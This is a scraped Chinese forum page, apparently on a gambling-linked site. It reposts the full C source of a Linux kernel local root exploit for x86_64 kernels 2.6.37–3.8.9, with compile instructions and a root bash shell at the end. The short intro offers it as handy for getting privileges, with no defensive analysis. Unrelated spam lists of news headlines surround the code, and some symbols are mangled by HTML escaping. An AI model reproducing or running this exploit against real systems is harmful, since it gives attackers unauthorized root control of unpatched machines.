• 对中国,美国只剩下高等学校一个优势。中国应与日、俄、韩、澳实行联合办学机制,不足师资,一起把他们从美国挖过来,所正很多是移民过去的 2019-05-16
  • 何小燕.blog的博客—强国博客—人民网 2019-05-16
  • 男子抢劫杀人为“找钱”创业 司机装死逃命 2019-05-11
  • 日照钢铁控股集团有限公司 2019-05-11
  • 回复@不能这样啊:那你不是可以啥事不做天天甩起手耍?你自己不求上进还不准别人有所追求么? 2019-05-07
  • 安徽砀山重瘫女孩好励志 开网店年卖水果40万斤 2019-05-04
  • 21CN.COM 增值电信业务经营许可证 2019-04-26
  • 人民网评:让党的领导体系总揽全局、协调各方 2019-04-22
  • “黔电送粤”配套大型煤矿项目获批 盘江股份控股 2019-04-22
  • 怎样一抹色彩绚烂了2018年盛夏 2019-04-22
  • 2018年2月国家社科基金年度项目、青年项目和西部项目结项情况 2019-04-21
  • 安倍访美又遭“握手杀” 手都被捏皱了 2019-04-14
  • 娱乐--北京频道--人民网 2019-04-14
  • 聚焦两会“部长通道”再启:六位部委负责人谈发展 话民生 2019-04-14
  • “先进镁合金技术与应用”高峰论坛在沪召开 2019-04-11
  • 笑话大全ico
    您当前的位置 :心水论坛33789>黑客安全>系统攻防> 正文
    linux root exp for 2.6.37-3.x.x x86_64
    2015-11-22 07:15来源:厦门门户网
    【摘要】
    国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞,成功利用该漏洞可能获得特权用户,还算新鲜,转来给大家看看。比较好用的~ //fucksheep.org/~sd/warez/semtex.c linux 2.6.37-3.x.x x86_64, ~100 LOC - /* *
    国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞,成功利用该漏洞可能获得特权用户,还算新鲜,转来给大家看看。比较好用的~ 
     
     
    //fucksheep.org/~sd/warez/semtex.c
    linux 2.6.37-3.x.x x86_64, ~100 LOC ———————————————————————————————————————-
     
    /*
     * linux 2.6.37-3.x.x x86_64, ~100 LOC
     * gcc-4.6 -O2 semtex.c && ./a.out
     * 2010 [email protected], salut!
     *
     * update may 2013:
     * seems like centos 2.6.32 backported the perf bug, lol.
     * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
     */
     
    #define _GNU_SOURCE 1
    #include <stdint .h>
    #include <stdio .h>
    #include <stdlib .h>
    #include <string .h>
    #include <unistd .h>
    #include <sys /mman.h>
    #include <syscall .h>
    #include <stdint .h>
    #include <assert .h>
     
    #define BASE  0x380000000
    #define SIZE  0x010000000
    #define KSIZE  0x2000000
    #define AB(x) ((uint64_t)((0xababababLL< &lt;32)^((uint64_t)((x)*313337))))
     
    void fuck() {
    int i,j,k;
    uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
    uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
    uint64_t kbase = ((uint64_t)current)>>36;
    uint32_t *fixptr = (void*) AB(1);
    *fixptr = -1;
     
    for (i=0; i&lt;4000; i+=4) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void*) p[0];
    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
    for (j=0; j&lt;20; j++) { for (k = 0; k < 8; k++)
    if (((uint32_t*)uids)[k] != t[j+k]) goto next;
    for (i = 0; i < 8; i++) t[j+i] = 0;
    for (i = 0; i < 10; i++) t[j+9+i] = -1;
    return;
    next:; }
    }
    }
     
    void sheep(uint32_t off) {
    uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
    int fd = syscall(298, buf, 0, -1, -1, 0);
    assert(!close(fd));
    }
     
    int main() {
    uint64_t  u,g,needle, kbase, *p; uint8_t *code;
    uint32_t *map, j = 5;
    int i;
    struct {
    uint16_t limit;
    uint64_t addr;
    } __attribute__((packed)) idt;
    assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
    memset(map, 0, SIZE);
    sheep(-1); sheep(-2);
    for (i = 0; i < SIZE/4; i++) if (map[i]) {
    assert(map[i+1]);
    break;
    }
    assert(i<SIZE/4);
    asm ("sidt %0" : "=m" (idt));
    kbase = idt.addr & 0xff000000;
    u = getuid(); g = getgid();
    assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
    memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
    memcpy(code-13,"\x0f\x01\xf8\xe8\5\x0f\x01\xf8\x48\xcf",
    printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27);
    setresuid(u,u,u); setresgid(g,g,g);
    while (j--) {
    needle = AB(j+1);
    assert(p = memmem(code, 1024, &needle, 8));
    if (!p) continue;
    *p = j?((g<&lt;32)|u):(idt.addr + 0x48);
    }
    sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
    asm("int $0x4"); assert(!setuid(0));
    return execl("/bin/bash", "-sh", NULL);
    }
    标签(Tag):
    官方邮箱:心水论坛33789 www.492127.fun 官方微信:www.492127.fun 官方微博:
     
  • 对中国,美国只剩下高等学校一个优势。中国应与日、俄、韩、澳实行联合办学机制,不足师资,一起把他们从美国挖过来,所正很多是移民过去的 2019-05-16
  • 何小燕.blog的博客—强国博客—人民网 2019-05-16
  • 男子抢劫杀人为“找钱”创业 司机装死逃命 2019-05-11
  • 日照钢铁控股集团有限公司 2019-05-11
  • 回复@不能这样啊:那你不是可以啥事不做天天甩起手耍?你自己不求上进还不准别人有所追求么? 2019-05-07
  • 安徽砀山重瘫女孩好励志 开网店年卖水果40万斤 2019-05-04
  • 21CN.COM 增值电信业务经营许可证 2019-04-26
  • 人民网评:让党的领导体系总揽全局、协调各方 2019-04-22
  • “黔电送粤”配套大型煤矿项目获批 盘江股份控股 2019-04-22
  • 怎样一抹色彩绚烂了2018年盛夏 2019-04-22
  • 2018年2月国家社科基金年度项目、青年项目和西部项目结项情况 2019-04-21
  • 安倍访美又遭“握手杀” 手都被捏皱了 2019-04-14
  • 娱乐--北京频道--人民网 2019-04-14
  • 聚焦两会“部长通道”再启:六位部委负责人谈发展 话民生 2019-04-14
  • “先进镁合金技术与应用”高峰论坛在沪召开 2019-04-11